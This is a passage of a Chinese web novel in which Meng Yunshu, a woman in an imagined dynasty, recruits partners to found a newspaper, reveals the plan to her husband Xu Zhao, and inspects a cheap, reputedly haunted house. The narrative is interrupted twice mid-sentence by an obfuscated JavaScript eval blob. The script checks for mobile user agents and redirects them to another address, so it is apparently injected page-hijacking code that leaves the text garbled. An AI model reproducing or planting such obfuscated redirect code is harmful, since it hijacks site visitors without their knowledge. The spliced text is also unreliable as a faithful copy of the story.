“夫人竟有如此雄心壮志。”萧谨言回味着孟允抒的演讲内容,明显被她的激情所感染。 孟允抒趁热打铁问他:“公子意下如何?” “夫人垂青谨言,我深表感激。” 孟允抒欣喜万分:“那——” 萧谨言小声说道:“但我不愿经商。” “为什么?” “世人都说‘士农工商’,若非无路可走,众人都不想从商。” 孟允抒把这茬给忘了。古代商人地位低,在这四个阶层中,商人是最容易被人轻视的。 她问萧谨言:“若是公子一直无法考取进士,难道你就要将一辈子的光阴都浪费在科考之中?” 这是一个令人绝望的假设,萧谨言也露出痛苦不堪的表情,显然这七年的科考已经让他饱受煎熬。 然而他还是像自我洗脑一般地絮叨着:“我别无选择。我是萧家二公子,我必须得考取功名,这样……” 孟允抒发现,萧谨言还是个死脑筋。 她好说歹说地劝了半天,终于无法再继续忍受他的冥顽不灵,有些生气地说了一句:“那你便考,考到两鬓斑白,到头来让你的诗文烂在屋里,你便满意了!” 这句话给了萧谨言一个沉重的打击,彻底击溃了他的心理防线。 他先是一愣,而后眼中竟泛起泪花。 “我就知道,我果真不招人喜欢。我爹嫌弃我,我娘骂我不争气,兄弟又都出人头地,只有我……” 孟允抒头脑发懵,她没想到萧谨言的心理脆弱至此,她一句话就惹得他这样难过。 这事与她脱不了干系,她只得连声道歉:“方才是我言重了,实在抱歉,公子不必自责。” 但萧谨言看起来更伤心了,眼眶泛红,淌着两行清泪说道:“不,夫人只是直言不讳而已,我有自知之明,且早已习惯他人这样评价。” 孟允抒极力不让自己的眉头皱起来,免得他又要怀疑她心生厌弃。 好麻烦的性格。 在孟允抒疲于应对萧谨言的时候,一个声音由远及近。 “我倒是觉得孟夫人的想法甚好,计划也周密可行,二哥可以一试。” 8. 合伙人 孟允抒回头一看,萧睿言从假山后方现出身形,正朝他们信步走来。 “睿言见过孟夫人。”他向孟允抒施礼,笑意盈盈道,“父亲差我来寻二哥,我走到此处时听得孟夫人慷慨陈词,正至精彩之处,我不愿打扰,便在一旁听了下去,还望孟夫人恕罪。” “能得到三公子肯定,允抒倍感荣幸。” 见到萧睿言,孟允抒想起她的采访稿中还有一处缺漏。刚才与那群夫人小姐聊天时她特意打听过萧睿言的感情状况,但能从当事人口中得到答案自然最好。 “方才席间人多,有一事我不便问公子。”她说,“我听众人说三公子与盛姑娘私交甚密,此话是真是假?” 孟允抒在提问中给萧睿言挖了个坑。她并未提及盛催雪的姓名,若萧睿言矢口否认,那反倒坐实了传言。 “盛姑娘?你说的可是那位闺阁才女,盛催雪?” 她的陷阱被萧谨言一脚踩了进来。 孟允抒很想把他痛打一顿,却见他泪痕未干,于是忍了又忍,勉强挤出一个微笑:“二公子认得她?” 萧睿言替他答道:“盛姑娘名声在外,但京中鲜少有人能一睹芳容。我听闻她家教严格,从不接见外宾。” 说罢,他看了看萧谨言,忍俊不禁道:“她有不少佳作流传于世,二哥对其赞不绝口。盛姑娘每有新作,他定要在第一时间寻遍京中书坊买来收集。若是有人诋毁盛姑娘,他便会同那人争得面红耳赤。” 孟允抒心下了然,原来萧谨言是盛催雪激推,怪不得他刚才的反应那么强烈。 “既然父亲寻我,我便先走了。”萧谨言被萧睿言揭了短,愤愤不平地逃离现场。 孟允抒追上去,百折不挠地拉拢他入伙:“二公子,今日我说的话皆发自肺腑,还望你能认真考虑。” “孟夫人请留步。”萧睿言叫住孟允抒,“关于办报一事,我有几处不明,请夫人为我解惑。” 孟允抒暂时放过萧谨言,返回亭中答复了些细节问题,萧睿言点头道:“如此说来,夫人当下最短缺的是资金与人力。” “是。” 孟允抒虽有些嫁妆,但一个人的抗风险能力不强,况且她目前无权无势,招揽贤才也绝非易事。 “若你决心办报,我愿为你分忧。”萧睿言笑道,“我刚得了御赐,钱财上尚有余裕。大哥已经自立门户,也可助夫人一臂之力。至于二哥那里,我去帮你游说。” 天下没有免费的午餐,萧睿言与她相识不过半日,孟允抒不相信他会无缘无故地帮助自己。 她开门见山道:“明人不说暗话,公子需要我帮你做些什么?” “夫人多虑了,我并非有求于你。我做此事的原因有三。”萧睿言笑道,“一来自然是为了入股赚钱;二来是想让二哥早日安顿下来,让姨娘少发几次火,别再吵得我耳根子疼。” “三来是因为我觉得此事着实有趣。下月我要去户部赴任,从此之后就得和那群老油条们打交道,想来定是十分无聊。” 他向湖中丢了枚石子,虽是小小一颗,却依然激起一朵水花,令湖面泛起层层涟漪,一直荡至岸边。 “相比之下,内探是个不错的差事,还能多领一份薪资。若朝中有什么新奇的事,我会及时告知于你。” 孟允抒疑惑:“户部官员政务繁忙,你怎会有时间做这些事?” 萧睿言自信一笑:“忙里偷闲。” 翻译一下就是“上班摸鱼”。 相较民间新闻而言,打探朝中消息的难度更大,若能在宫中安插线人,那自然再好不过。 因此,尽管孟允抒对萧睿言的话半信半疑,却依然答应下来。 萧睿言达成自己的目标,起身整理衣衫:“那便说定了,我们先去寻找附近有无合适的房屋,再打探京中有无可用的贤才。待事情有了眉目,我再与二哥登门拜访贵府,从长计议。” 孟允抒蓦地想起,若是要接见来客必然会惊动许昭,但他目前还不知道她要创建报社的事。 纸包不住火,这样下去不是个办法,她得找个契机和许昭聊聊这件事。但在此之前,她得先瞒着许昭,要是萧睿言提前将消息透露给许昭,她就会处于被动的境况。 “等等。”孟允抒拦住萧睿言,对他叮嘱道,“此事我尚未告知许郎,还请公子先替我保密。” 萧睿言闻声顿住脚步,回头看了她一眼,微微一笑道:“好。” “既然夫人提到许大人,还容我再多说几句。”他继续用那副闲聊时的轻松口吻说道,“原本这是夫人的私事,不应由我多嘴。但通过今日在席上与你问答,以及方才夫人所言,可看出你机敏果敢,睿言深感敬佩,也与你甚是投机,所以想斗胆问夫人一句话。” 现在萧睿言是孟允抒的天使投资人,她不敢怠慢了他,笑着应道:“公子愿意为我提供诸多帮助,我无以为报,区区一个问题,你但说无妨。” “夫人果真为人爽利,那我便直说了。”萧睿言眼含笑意,但问题一针见血,“敢问夫人是否与许大人感情不和?” 孟允抒心底一惊,但面上依然泰然自若。 “何以见得?” “夫人与许大人举止亲密,却有刻意之嫌,应是为了做戏给旁人看。”萧睿言开门见山道,“且过去几年夫人几乎从未随许大人一同出游,前些日子姚府又东窗事发,你们二人之间的关系一目了然。而后虽有小报否认你们离心的传闻,但也像是为掩人耳目所作。” 孟允抒突然觉得,相比之下,她还是更喜欢和萧谨言相处。 至少他没什么脑子。 她不动声色地说道:“允抒愚钝,请公子把话讲得更明白些。” “夫人不必紧张,我并非想要揣测你们二人的关系,或是在此挑拨离间。这些事做起来相当麻烦,我对此毫无兴致。”萧睿言轻笑一声,打消孟允抒的顾虑,“我有意与夫人结交,更何况待报社建立后,我们还要长期合作,必须信任彼此。” 说罢,萧睿言正色道:“许大人是正人君子,却屡遭朝臣倾轧排挤。既然我能看出夫人与他感情不睦,那旁人定然也能发现这其中的蹊跷。我担心不轨之人会利用此事做文章,蒙蔽夫人加害于他。” 孟允抒凭借直觉和经验判断,萧睿言并没有说谎。先不论他的真实意图是什么,有一点他说得没错。 在外人面前她得表明她和许昭夫妻同心,不给他人可乘之机。 “多谢公子提点。既然你以诚待我,允抒也当坦诚相对。”孟允抒直言,“过去我与许郎有诸多误会,但尽是些不足挂齿的私人恩怨。我舅父家人待我不好,又为非作歹,落此下场也是罪有应得,我并不仇恨许郎。” 她又找了个合适的借口解释两人关系生疏的原因,装出无奈的表情感叹道:“只是如你们所见,许郎性情冷淡,不喜与人来往,我虽倾心于他,却因他寡言少语,我对他不甚了解。” 从原主的记忆中孟允抒也发现,有不少人曾说过许昭性格怪异孤僻,不近人情。先前萧老爷曾蒙冤入狱,是许昭仗义执言替他奔走平反。为表谢意,他出狱后便备下厚礼送给许昭,但许昭却说他只是秉公断案,推拒不得后竟然斥责萧老爷公私不分,最后两人闹得不欢而散。 这件事简直就是对“铁面无私”的具象化表述。 “许大人出身寒门,礼数不周,不懂得人情世故,被众多官员轻视、排挤,不过我倒是希望朝堂之上能多些像许大人一般的人。”萧睿言似乎对许昭颇为赞赏,“正是因为他从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310338|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底层走入庙堂,才能懂得民间疾苦。” 孟允抒拿不准萧睿言的为官之道,试探着说:“现今公子也已步入朝政,宫廷之中自然是多了一名好官。” “并非如此。”萧睿言直言不讳道,“我并无政治才能,也没有建功立业的决心,只想在漩涡中保全自身、帮助家人罢了。若二哥能入朝为官,我就能放手经商。只可惜造化弄人。” 萧睿言说这话时,孟允抒并没有从中听出感伤的情绪,倒像是一句对命运的调侃。 “今日就先谈到这里。我还有事在身,先行告退了。” 孟允抒也觉得她在此处逗留过久,起身欲走时才回忆起她来这的目的:“三公子,请问府中有哪些清静的去处?” 她向萧睿言说明她与许昭走散的情况,萧睿言思索片刻,给出了一个推测。 按照他所指的路线,孟允抒拐过一道弯,远远地望见许昭在墙边的长凳上坐着。 “许公子,我找——”她走近许昭,话说到一半时被他手中的东西吸引,惊喜地问道,“你竟然还有这般手艺?” “姑娘回来了。”许昭抬眼看看她,将目光挪到手里的花环上,稍显尴尬地咳了一声,“我一人在此闲来无事,随便找点事做。” 孟允抒好奇地打量着花环,它以墨绿的枝叶为底,挽成精巧美观的绳结,上面有各色小花作为点缀,热闹却不显得繁杂。 她从来没想过许昭能和“心灵手巧”一词搭上关系。 “这会宾客应该已经陆续散去了,我们也回府吧。” 说罢,许昭起身,顺手将花环向草丛中一丢。 “等等。”孟允抒正认真观察着,许昭的动作太过突兀,她急忙跑过去将花环捡回来,“这么漂亮的东西,扔了岂不可惜?” 许昭对她的反应很是意外:“姑娘见多了金银玉器,竟然还会喜欢此等低微之物。” “金银有价,草木无价。”孟允抒同许昭一起向前庭走去,将花环翻来覆去地欣赏,“更何况二者本就不是同种物件,各有优劣,怎能放在一起比较?” 许昭见她对此爱不释手,有些不解地问:“最多三日,它便会枯萎凋零。姑娘何必费神将它带走?” 孟允抒不以为意:“那也是三日之后的事,当下只需珍惜春光。” 许昭沉默片刻,见她兴致高昂,转而开口问道:“孟姑娘今日十分尽兴?” “那是自然。” 孟允抒觉得她在此次宴会中收获颇丰,不但打探到不少需要的情报,还结识了实力雄厚的合伙人,招聘到了一位编辑和一名朝廷内线记者,许多棘手的问题迎刃而解,创建报社指日可待。 她沉浸在满载而归的喜悦中,完全没察觉到许昭欲言又止的神情。 “我本不该在此时扫了姑娘的兴致,可有一言我不得不说。”最终他开了口,提醒孟允抒道,“现今你常出门走动,喜欢与人交往,这是好事。但请姑娘不要与任何人走得过近,免生事端。” 孟允抒明白许昭是想避免官场中的那些裙带关系,向他保证道:“请公子放心,我自有分寸,定然不会将政事与私交混为一谈。” 许昭略一点头,淡然说道:“政局复杂险恶,姑娘能独善其身便好。” 这句话让孟允抒想起他在宴会中的表现,又蓦地联想到萧睿言扔进湖中的那枚石子。俗话说有人的地方就有江湖,许昭身处朝廷,想要明哲保身便只能切断与他人的联系,处于绝对的中立地位。 可从许昭的性格与作风来看,又显然与这一目标相冲突。 她思忖半天也没能找到合理的解释,索性将注意力转移到另一个问题上来。 萧睿言那边已经着手准备办报的前期工作,她得尽快向许昭说明此事。 9. 坦白 愉快的一日假期结束后,孟允抒又回归了她的打工人身份。 工作日的前三天是最难熬的,支撑孟允抒干活的唯二动力是两条好消息。 第一,她新写的报道被快马加鞭印成了小报,第一批报纸刚刚印刷出来后不久就被抢售一空,这增强了孟允抒对报业发展的信心。 第二,随着小报的发行,她顺利收到了系统的任务奖励。 精神胜利法无法消除双腿传来的胀痛,孟允抒抹了一把额上的汗珠,在心中愤愤不平地想,等她当了老板,她一定自食其力,绝对不当这种剥削员工的资本家。 “快,快把小报打乱,不该放在外面的书页也赶紧收起来!”一个伙计从前宅慌慌张张地闯进来,让他们把桌上印好的纸张统统打乱,又急忙招呼几人去院中把正在晾晒的纸张从绳上取下,“动作麻利点,他们马上就到了!” 在一片混乱之中,孟允抒虽然不明白发生了什么,但见工人与伙计都神情紧张,于是跟着他们一起打散小报,见缝插针地问:“发生什么事了,谁要到了?” 她身旁那个印工一把将纸堆揉乱,语速飞快地回答:“上面那些当官的老爷要来了!” 孟允抒与秋盈对视一眼,不解地问:“那为什么要把小报打乱?” “瞧你这话说的。”印工神情焦急道,“小报上什么内容都有,指不定就戳中了那些官老爷的痛处,更有甚者还妄议朝政,搞不好这就是掉脑袋的事!打乱小报最起码能减少些风险,若是文章不完整,我们还有为自己辩解的余地。” “还有那些书。”秋盈旁边的刻工也说道,“其中有两种可是朝廷明文规定的禁书,这让官老爷们看见还得了?” 孟允抒还想再多问几句,门外几个穿着公服的身影却已经跨进门槛走了进来:“官府突击检查,请诸位暂时放下手中活计,不要乱动,在院中排成两队站好。” 室内的空气顿时冷了下来,工人伙计们噤若寒蝉,孟允抒和他们一起,按照这几名官员的命令在院中站好。 孟允抒深知古代文字狱的恐怖,为钳制民众的思想,每个封建王朝对文化的审查都十分严格。她不敢轻举妄动,在队伍中将头深深埋下,竭力降低自己的存在感。 郭掌柜也已从前面的书铺中赶来,对为首的官员说:“大人,小店一直恪守行规,诚信经营,从不坐逾矩之事,请大人明察。” “掌柜莫怕,我们只是秉公办事。若你不曾做那些违法的买卖,我们定然不会冤枉了你。” 这声音太过耳熟,孟允抒惊愕地抬起头。 下一秒,她与许昭四目相对。 许昭看起来显然比她更加意外,怔怔地盯了她半天,像是在辨认她的面容。 孟允抒连忙重新将头低下,暗自祈祷许昭没能认出她。 平日她来书坊前都会乔装打扮,且从第一日起就叮嘱过府中下人,不许将此事透露给许昭,他也从来没见过她换装后的模样。 更何况,她向来都是在离文昌书坊还有一里地的时候下车,府中除了秋盈,根本无人知晓她整日在外做什么。 孟允抒这样想着,心里有了几分底气。 几名官员在坊中搜查一番后,将数页纸张带给许昭:“许大人,这些纸上的内容涉及朝政机密。请您过目。” 孟允抒低着头,看不见许昭的神情与动作,只听见一阵纸张被翻动的摩擦声。 声音停下后,许昭沉声问道:“郭掌柜,请问你对此作何解释?” “这是哪个不怕死的写的!”郭掌柜看了看纸上的内容,大声怒斥道,“竟敢冒充侍郎大人的身份写这种假奏章!” 说罢,他又严肃地对许昭说:“大人,小报生意红火,总有贪财近利者杜撰新闻。平日里我们书坊事务繁杂,刊印纸张众多,难免会有几则胡言乱语的消息混进其中,令人防不胜防。今后我一定对这些内容严加审核,坚决不让其流入坊间。” 孟允抒在心里默诵着郭掌柜的免责声明,说不定以后她也用得上。 许昭没有回应,郭掌柜又郑重其事地补充道:“事关重大,还请大人明察。若大人需要追究消息来源,我愿竭尽所能配合大人调查。” 许昭终于开了口,从他的语气中依然听不出任何个人情绪:“多谢掌柜。之后若是有需要,官府会派人前来取证。” “明白,我在此随时恭候大人差遣。” “方才我在队伍之中看到一人甚是面熟。”许昭忽地换了话题,“第三列,第二排那位小兄弟,请你抬起头来。” 孟允抒心头一颤。 坏了,冲她来的。 她按照许昭的命令抬起头,对他露出一个谄媚的笑容,用她伪装出的男声说道:“大人找我?” 许昭听见她的声音先是一愣,而后犹疑地将她从头到脚打量了几遍。 郭掌柜见状,赶忙上前问道:“这是我们坊中新来的帮工,大人可需要将他带走问话?” 孟允抒讪讪地笑着,心跳如鼓点般敲得越来越快。 许昭收回目光,转头对郭掌柜说道:“不必,我认错人了。打扰掌柜。” 而后,伴随着一阵凌乱的脚步声,许昭带着一队官员离开了书坊。 掌柜如释重负地松了一口气,对伙计们吆喝道:“都散了,快去干活。” 孟允抒也仿佛卸下了千斤重担,至少许昭没有在大庭广众之下戳穿她的身份。 但是从他的反应来看,她今天是逃不过一场盘问了。 果然,在她下工回府后,门房直接把她请进了正厅。 而孟允抒身上还穿着那件粗布短褐。 她将心一横迈进门槛,若无其事地向许昭行了礼。 “许公子有事找我?” 许昭将手中的书放到一旁,目光稳稳地落在她身上。 “姑娘请坐。” 孟允抒落座后,许昭却迟迟没有开口。她心里七上八下,一面谨慎观察许昭的神情,一面思索着对策。 她与许昭并无夫妻之实,平日里他们鲜少过问或插手彼此私事,可今天的事显然不同以往。 其一,她欺瞒了许昭。这些天她外出的理由都是闲逛散心,从没和他说过半句实话。过去两年里二人因猜忌生出嫌隙,现在她所做之事将这道裂痕撕扯得更大更深。 其二,文昌书坊所售的文化产品有违令之嫌,而她恰好在书肆帮工。 她这已经不是在雷区蹦迪了,简直就是把两颗地雷结结实实地踩在脚下,且被许昭逮了个正着。 孟允抒自知理亏,决定先说几句好话探探许昭的口风:“公子,今日之事我已知错,我不该瞒着公子,自作主张前去书坊帮工。但我可以保证,我在坊中从未做过逾矩或违令之事,这点请你放心。” “不,姑娘想去何处、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话题已经行进至此,时机绝佳,孟允抒决定顺势向许昭坦白她办报的计划。 “公子误会了。我去书坊不为赚钱,而是偷师。”她找了个合理的借口说,“我在府中并不劳作,却要从账上领取月银,受之有愧。且公子一人持家太过辛苦,我想为你分忧。” 她先是用一通真挚诚恳的好话作为铺垫,以体现自己对许昭的感恩和理解,而后逐渐切入正题,表明她办报的意愿及其重要性,引出她的详细计划。 孟允抒同他讲述这些时颇为自信,可心里并无十足的把握。许昭做事向来保守稳妥,她担心许昭会断然否定她的计划。 所幸在听她叙述的过程中,许昭的面色由平静变为讶然,最后微微一笑。 “姑娘的想法别具一格,且有自强自立的傲气,许某佩服。前些日子你通过小报为我辩白,我见识过姑娘的文采,若做此事定有所成。”许昭的话锋一转,“只是民间小报乱象丛生,违令者诸多,为保险起见,请姑娘允许我出资入股,监察民情。” 孟允抒思忖片刻,认为许昭参与此事利大于弊。 他对胤朝的律法烂熟于心,如果他能从旁监督并帮助审查,她反而能绕开禁令,在官方与民众之间寻得一个平衡点,既不至于因违令祸及自身,又不会让百姓陷入闭目塞听的困境。 而且,多一笔启动资金对她来说也是莫大的好事。 于是她应允许昭的话,并向他说明了在萧府所发生的事情。 “待萧公子那边传来消息,我们可以再与其详谈。” 10. 初创团队 萧睿言所言非虚,孟允抒从萧府回来后刚过十日,他便同萧谨言一起登门拜访,与孟允抒详谈创建报社的相关事宜。 不过萧谨言看起来还是一副不情不愿的样子,像是孟允抒强迫他抛弃贞操下海一般。 “二位公子请进。” 孟允抒喜上眉梢,将两人迎进正厅,又亲自给他们沏了茶,以表自己的惜才之意。 “许大人也在。”萧睿言满面笑容,向早已在桌边等候的许昭行了一礼,又将目光投向孟允抒,略一挑眉。 孟允抒会意地解释道:“我先前已将办报之事告知许郎,他将定期对小报内容进行审阅,防止妖言惑众。” 言下之意就是,许昭现在已经知道内情,萧睿言可以不用再守口如瓶。 “原来如此。”萧睿言拱手说道,“还是许大人思虑周全。” 在几人互相寒暄的时候,萧谨言全程站在旁边赔笑,嘴里发出一些不明所以的语气词。 孟允抒先前已经见识过,这是萧谨言特有的打招呼方式。 “夫人,秋盈姐姐到了。” 一个小丫头带着秋盈进来,她见桌旁坐着两位陌生公子,便先行了个常礼,而后用疑惑的眼神望了望孟允抒。 孟允抒起身将秋盈拉过来:“给二位公子介绍一下,这位是自幼服侍我的姐姐,跟在我身边多年,名叫秋盈。” 她又向秋盈说明对面两人的身份:“这便是我和你说的那两位公子,今后我们就要在一起共事了。” 前些日子她听孟允抒讲过此事,心下了然道:“多谢二位公子鼎力相助。” 孟允抒招呼众人落座,准备进行第一次会议:“客套话都说完了,各位都别站着,坐下说话。” 她见秋盈还站在一边,便伸手将她拉过来:“你愣着干什么,快坐。” 秋盈神情一滞,忙不迭地退后:“不必了,我在旁边站着便好。” 目前桌上坐着四人,分别是孟允抒、许昭、萧谨言、萧睿言。在秋盈眼中,桌上坐着的是夫人、老爷、两位大户人家的公子。 而她身份低微,和他们坐一桌显然是坏了礼数。 孟允抒不用猜都知道秋盈在想什么,索性将她一把按在椅子上笑道:“你若是不坐,我说话还得仰着脖子,怪麻烦的。” 秋盈惶恐不安地坐着,又担心因为她耽误了他人的时间,却也没再起身。 萧睿言率先开了口,向许府三人概述他这一周打探的成果:“目前我们寻到了四处宅子,离许府和萧府都不远,而且其所在街道商铺数量众多,平日里有不少前来采买闲逛的行人。” 他依次介绍了这几处房宅的售价、地理位置和房屋布局等基本情况,在面前的白纸上绘制出简单的平面示意图。 “最后一处宅子位于云锦天街西侧的杏林巷,临近造纸坊,是三进四合院结构。” 孟允抒听着萧睿言的介绍,又端详了一番他画出的房屋布局图,对其很是满意。 靠近造纸坊意味着取纸方便,可以节约不少运输成本;房屋的布局也非常符合她想象中报社的部门设置。 临街的前宅可作为营业门面,在其中售卖小报,附带部分销售量极高的书籍;中庭可用作采编部门的办公地点,在此处进行讨论选题、撰写报道和编辑稿件等工作;后院则可以设置为刻印工坊,承载雕刻字模、印刷报纸的功能。 她问萧睿言:“这处宅子售价多少?” “三千两银子。” 话音落地,除萧谨言外,桌上所有人都一齐睁大了眼睛。 孟允抒不可置信地确认:“三千两?” 这个价格和天上掉馅饼没什么区别。 京城寸土寸金,房价高昂,且云锦天街地处繁华,周围的房屋也随之摇身一变成了旺铺,先不论那些豪宅,连犄角旮旯的小宅子都动辄上万两。 “别高兴得太早了。”一直保持沉默的萧谨言突然开口,“那是个凶宅,闹鬼。” 接着,他讲起了这个说法的来历。 “这宅子原本是陈府,那是户小富人家,主人有一妻一妾,整日斗得鸡飞狗跳。后来妾室江氏渐渐失宠,忧思过度重病身亡,也有传言说此事与正室的王氏有关,江氏是含冤而死,怨气深重。” “她去世后,宅子里便频频生出异象,什么烛火自熄、女子夜啼都是常事,还有人说曾在深夜见到那妾室于庭中行走。后来,陈老爷暴毙身亡,府中下人疯的疯,死的死,没一个好下场,最后连那王夫人也失了神智,被接回娘家。陈老爷膝下无子,陈府被他弟弟接了手,他觉得晦气,想早点把这个烫手山芋扔出去,所以才低价出售。” 这是一段相当经典且俗套的坊间怪谈,不知可信度能有几成。 而且,作为一个坚定的唯物主义战士,孟允抒完全不在乎什么鬼神之说。即使真有鬼,那最可怕的一定是穷鬼。 孟允抒又综合比较了一下几处宅子的各方面,最终还是被那处凶宅的性价比折服,心中的一杆秤已经向陈府倾斜。 桌上还坐着其余几位创业伙伴,她不好直接做决定,便先征询其余四人的意见:“你们觉得呢?” “反正肯定首先排除那个凶宅。”萧谨言不满地瞥了眼萧睿言,“要我说就不该把它放进备选案例里面,劳心费神。” 萧睿言则像没听见他的话一般,不紧不慢地说道:“我觉得这几处宅子都甚是不错,若我有所偏好,就不会将它们全部呈给各位了。” 许昭的态度中立:“我只是从旁监督小报内容,其余事务我不插手,请诸位自行定夺。” 秋盈的回答在孟允抒的预料之中:“我听夫人的。” 当前场面对孟允抒十分有利,她当即拍板:“那先暂定将陈府作为最优选择,待我们实地考察后再作最终决定。” “啊?”萧谨言显然没预料到这个结果,他急切地提醒几人,“你们没听见吗,那可是凶宅,凶宅!我反对!” “好吧。”为了让萧谨言心悦诚服,孟允抒说道,“那请各位共同表决,少数服从多数。” “同意将陈府作为最佳选择的人请举手。” 孟允抒和秋盈第一时间举起了手,许昭迟疑半秒,飞快地扫了眼两名萧公子,也跟着抬起手臂。 此时结果已经明了,萧谨言见状更是焦急,直接从椅子上站了起来:“不是,你们都不怕那冤魂前来索命吗?” 孟允抒非常意外,萧睿言居然不赞同她的想法,而许昭居然会表明态度支持她。 “不同意方才提议的人请举手。” 萧谨言噌地一下将手举得老高。 但最引人注目的还是萧睿言。他还是没举手。 还不等孟允抒发问,萧谨言先 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孟允抒也赶忙回归正题,跟上来问道:“三公子,我曾拜托你打听相关人员的消息,请问情况如何?” 报社最主要的三个部门便是采编、印刷和发行,相应地需要具备不同专业能力与技术的人员。 “平日我素爱交友,其中不少人才思敏捷,却怀才不遇。”萧睿言用余光扫了眼萧谨言,“他们听闻我考中状元,相聚同游,我便趁此机会传达了夫人的想法,有几人曾表示愿意加入报社,尝试担任探官或编辑。至于其他人等我尚无眉目,但二哥说他那边打探到了消息。” 萧谨言终于压过萧睿言一头,万分得意地接过话说:“前些天我去买盛姑娘最新发表的词作,跑遍了城内的书肆,他们都告知我来迟了,没有库存。后来我找到京郊的一家书坊,里面还有姑娘的作品。” 他喜不自胜,连语调都变得高昂了几分。 “但我见那书坊气氛萧索,房屋空旷,只余寥寥几本典籍,觉得奇怪,便向掌柜打听。他说,他的店铺经营不善,便索性将店铺转让出去,回家务农。那店里的伙计和工人垂头丧气,说这下没了着落,还得另寻出路。” 萧谨言说到这里便不再开口,冲对面几人笑笑。 后面的事不言自明。这真是踏破铁鞋无觅处,得来全不费工夫。 报社选址和人员招募的事有了初步进展,报社的轮廓也日渐清晰。随后他们要做的事便是实地考察那几处宅邸,等定下结果后添置需要的器具,以及甄别和筛选应聘人员。 随后,孟允抒就能迈出崭新的第一步了。 许昭显然也意识到这一点,他将话题推进至下一个问题:“此前坊间并无专营小报的店铺。既然要兴办报社,总得有个名号。” 他转头问孟允抒:“你有什么打算?” 这话提醒了孟允抒,之后她还得找工匠为报社做个匾额。 她创建报社的最初目标是办报,定下报纸名称后,报社名字也就随之明了。孟允抒要办的是一份迎合市井热点的民间小报,自然想到了那份妇孺皆知的《人民日报》。 换成胤朝的叫法,那便是《黎民日报》。 孟允抒心中有了答案,对许昭笑道:“就叫‘黎民报社’吧。” 11. 凶宅 既然创建报社之事已经提上日程,孟允抒随便寻了个由头,向郭掌柜提出要走。在分别的那日,郭掌柜对她和秋盈反倒热情了不少,还再三叮嘱她,若是有了新闻,还可出售给他,找他印制小报。 孟允抒估计,这是因为她的身份从员工变成了顾客,顾客的潜在含义是金主。 在做生意这方面,郭掌柜很是在行。 马车的颠簸将萧谨言的声音摇得磕磕绊绊,却没挡住他的发问:“我看方才那处宅子就挺好,你们为什么非要去那陈府?” “当然是为了省钱。”孟允抒正在脑中模拟演练待会讨价还价的流程,“后续还要置办各种器具,那也是一大笔开销,能省则省。” “钱哪有命重要。”萧谨言苦口婆心地劝着,他觉得自己简直遇见了一群亡命之徒。 在孟允抒不堪其扰时,马车停了下来,她趁此机会赶紧拉着秋盈下车,远离萧谨言。 许昭要上值,萧睿言也要准备赴任之事,只有孟允抒、秋盈和萧谨言前去看宅。前来接引他们的仆人早已在路边恭候多时,将他们迎进陈府,依次带他们视察各个房间的情况。 从临街的房屋出来,走进前院,随着他们深入陈府,周遭的气温似乎越来越冷。 萧谨言搓搓胳膊,悄声问孟允抒:“你有没有觉得这里有股瘆人的寒意?” “你别总是疑神疑鬼。”孟允抒望望四周空荡荡的屋子,打量宅邸布局,“现在府中就我们几个人,且家具器件都被搬空了,自然显得冷清。” 接引人闻声连忙附和道:“夫人说得是,随后待你们把东西搬进来,人再一多,这屋子马上就热闹起来了。走,我们去前面。” 孟允抒随他行至中庭,一棵粗壮高大的槐树兀然闯入她的视线,树冠将庭院上方的空间占据得满满当当,她的甚至有枝叶超出了她的视野范围。 饶是处变不惊的秋盈都发出感叹:“好大的槐树。” 孟允抒打量了一番槐树的树干,估摸着四人合抱有余。 她又将目光上移。今年春季是个暖春,这槐树已经长得枝繁叶茂,有遮天蔽日之势,树枝几乎一直延伸到院墙边。 “怪不得这屋子闹鬼。”萧谨言从震惊中回过神,找到了凶宅的风水依据,“这么大一棵槐树,简直是阴气冲天。” “一种事物是好是坏,还不都是全凭人的一张嘴。”孟允抒觉得这就是典型的心理作用,由果推因很容易受主观因素影响,“那还有句俗话说,‘门前种槐,升官发财’,这不是自相矛盾?” 孟允抒一边听着接引人介绍各个房间的用途,一边要分神和萧谨言辩论,有些应付不过来。 秋盈很默契地替她接过向接引人提问的职责,仔细记下他所说的话。她左右张望一番问道:“东边的那处厢房原本是做什么用的?” 这句话让孟允抒集中注意力,随之看向东厢房。她发现房屋的檐角、圆柱上都附有精巧繁复的装饰,将房间装点得雅致华丽,只是房门紧闭,整间房屋安静地居于墙边,如遗世独立的佳人。 按照萧谨言所讲述的那个陈府怪谈,这应是那名江氏的卧房。 她心生好奇,拜托接引人道:“麻烦你带我们进去看看。” 虽然只是极其短暂的一瞬,孟允抒看到他脸色微变,而后又恢复那副热情的笑颜:“没问题,夫人请随我来。” 房门被推开的同时,上面的灰尘扑簌簌地落下,地面上也扬起阵阵尘埃。孟允抒用手帕掩住口鼻进入,眼前的景象显然是在告诉她,这房间已经很久不曾被打扫过。 她环顾四周,发现这里的大件物品已经不知所踪,应该是已经被其他人搬走或卖出了,只剩下一个小柜子靠在房间一隅。 孟允抒向接引人确认道:“此处可是江姨娘生前所住的房屋?” “是。” 听到肯定回复,萧谨言瞬间面色发白。 接引人见状欲盖弥彰道:“几位不必担心,外面那些流言蜚语都是唬人的。江姨娘并非枉死,只是不小心染上风寒一病不起,因体质娇弱久病未愈,拖得久了导致病情越来越重,最后不治身亡。” 她指着留下的那几件家具问:“为何你们不将这些搬走?” “这些东西都值不了几个钱,为它们再雇脚夫实在不值当。”接引人飞快地搪塞几句,转而催促道,“各位随我去下一间吧。” 他这么急着走,反倒让孟允抒起了疑心。 “且慢。” 孟允抒阻止他的脚步,走到那个柜子前打开柜门。 “啊!” 萧谨言惊呼一声,连忙后退。 